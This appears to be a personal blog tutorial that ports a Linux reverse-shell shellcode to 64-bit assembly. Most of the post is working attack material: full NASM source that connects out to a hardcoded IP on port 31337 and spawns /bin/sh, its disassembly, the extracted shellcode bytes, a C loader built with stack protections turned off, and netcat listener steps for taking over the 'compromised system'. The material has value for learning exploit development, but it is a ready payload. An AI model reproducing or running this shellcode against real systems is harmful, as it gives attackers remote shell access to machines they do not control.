What is this post about?
In learning 64 bit assembly language under Linux, I thought I would convert some of the 32 bit code I have already in my repo. Therefore there won’t be a full explanation, just the basics.
The assembly language code.
global _start section .text _start: xor rax,rax xor rdi,rdi xor rsi,rsi xor rdx,rdx xor r8,r8 ; Socket ; Function prototype: ; int socket(int domain, int type, int protocol) ; Purpose: ; creates an endpoint for communications, returns a ; descriptor that will be used throughout the code to ; bind/listen/accept communications push 0x2 pop rdi push 0x1 pop rsi push 0x6 pop rdx push 0x29 pop rax syscall mov r8,rax ; Connect ; Function protoype: ; int connect(int sockfd, const struct sockaddr *addr, ; socklen_t addrlen) ; Purpose: ; initiate a connection on socket referred by the file ; descriptor to the address specified in addr. xor rsi,rsi xor r10,r10 push r10 mov byte [rsp],0x2 mov word [rsp+0x2],0x697a mov dword [rsp+0x4],0xa1080c0 mov rsi, rsp push byte 0x10 pop rdx push r8 pop rdi push 0x2a pop rax syscall ; Dup2 ; Function prototype: ; int dup2(int oldfd, int newfd) ; Purpose: ; duplicate a file descriptor, copies the old file ; descriptor to a new one allowing them to be used ; interchangably, this allows all shell ops to/from the ; compromised system xor rsi,rsi push 0x3 pop rsi doop: dec rsi push 0x21 pop rax syscall jne doop ; Execve ; Function descriptor: ; int execve(const char *fn, char *const argv[], ; char *const envp[]) ; Purpose: ; to execute a program on a remote and/or compromised ; system. There is no return from using execve therefore ; an exit syscall is not required xor rdi,rdi push rdi push rdi pop rsi pop rdx mov rdi,0x68732f6e69622f2f shr rdi,0x8 push rdi push rsp pop rdi push 0x3b pop rax syscall
Build the code:
$ nasm -felf64 -o reversebindshell.o reversebindshell.asm $ ld -o reversebindshell reversebindshell.o
Check for nulls:
$ objdump -D reversebindshell -M intel reversebindshell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: 48 31 c0 xor rax,rax 400083: 48 31 ff xor rdi,rdi 400086: 48 31 f6 xor rsi,rsi 400089: 48 31 d2 xor rdx,rdx 40008c: 4d 31 c0 xor r8,r8 40008f: 6a 02 push 0x2 400091: 5f pop rdi 400092: 6a 01 push 0x1 400094: 5e pop rsi 400095: 6a 06 push 0x6 400097: 5a pop rdx 400098: 6a 29 push 0x29 40009a: 58 pop rax 40009b: 0f 05 syscall 40009d: 49 89 c0 mov r8,rax 4000a0: 48 31 f6 xor rsi,rsi 4000a3: 4d 31 d2 xor r10,r10 4000a6: 41 52 push r10 4000a8: c6 04 24 02 mov BYTE PTR [rsp],0x2 4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a 4000b3: c7 44 24 04 c0 80 10 mov DWORD PTR [rsp+0x4],0xa1080c0 4000ba: 0a 4000bb: 48 89 e6 mov rsi,rsp 4000be: 6a 10 push 0x10 4000c0: 5a pop rdx 4000c1: 41 50 push r8 4000c3: 5f pop rdi 4000c4: 6a 2a push 0x2a 4000c6: 58 pop rax 4000c7: 0f 05 syscall 4000c9: 48 31 f6 xor rsi,rsi 4000cc: 6a 03 push 0x3 4000ce: 5e pop rsi 00000000004000cf <doop>: 4000cf: 48 ff ce dec rsi 4000d2: 6a 21 push 0x21 4000d4: 58 pop rax 4000d5: 0f 05 syscall 4000d7: 75 f6 jne 4000cf <doop> 4000d9: 48 31 ff xor rdi,rdi 4000dc: 57 push rdi 4000dd: 57 push rdi 4000de: 5e pop rsi 4000df: 5a pop rdx 4000e0: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 4000e7: 2f 73 68 4000ea: 48 c1 ef 08 shr rdi,0x8 4000ee: 57 push rdi 4000ef: 54 push rsp 4000f0: 5f pop rdi 4000f1: 6a 3b push 0x3b 4000f3: 58 pop rax 4000f4: 0f 05 syscall
Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.
Open a terminal on the system to be compromised,
$ ./reversebindshell
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.
Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so,
$ for i in $(objdump -d reversebindshell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
“\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\xc0\x80\x10\x0a\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05”
The shellcode can be copied and pasted into a test program, similar to the one below. The #define IPADDR and PORT has been removed and the IP address modified for localhost testing.
#include <stdio.h> /* ipaddr 127.0.0.1 (7f001) port 31337 (7a69) */ unsigned char code[] = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" "\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10" "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" "\x5f\x6a\x3b\x58\x0f\x05"; int main(void) { printf("Shellcode Length: %d\n", (int)sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); return 0; }
Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.
Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.
Open a terminal on the system to be compromised,
$ ./reversebindshell
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.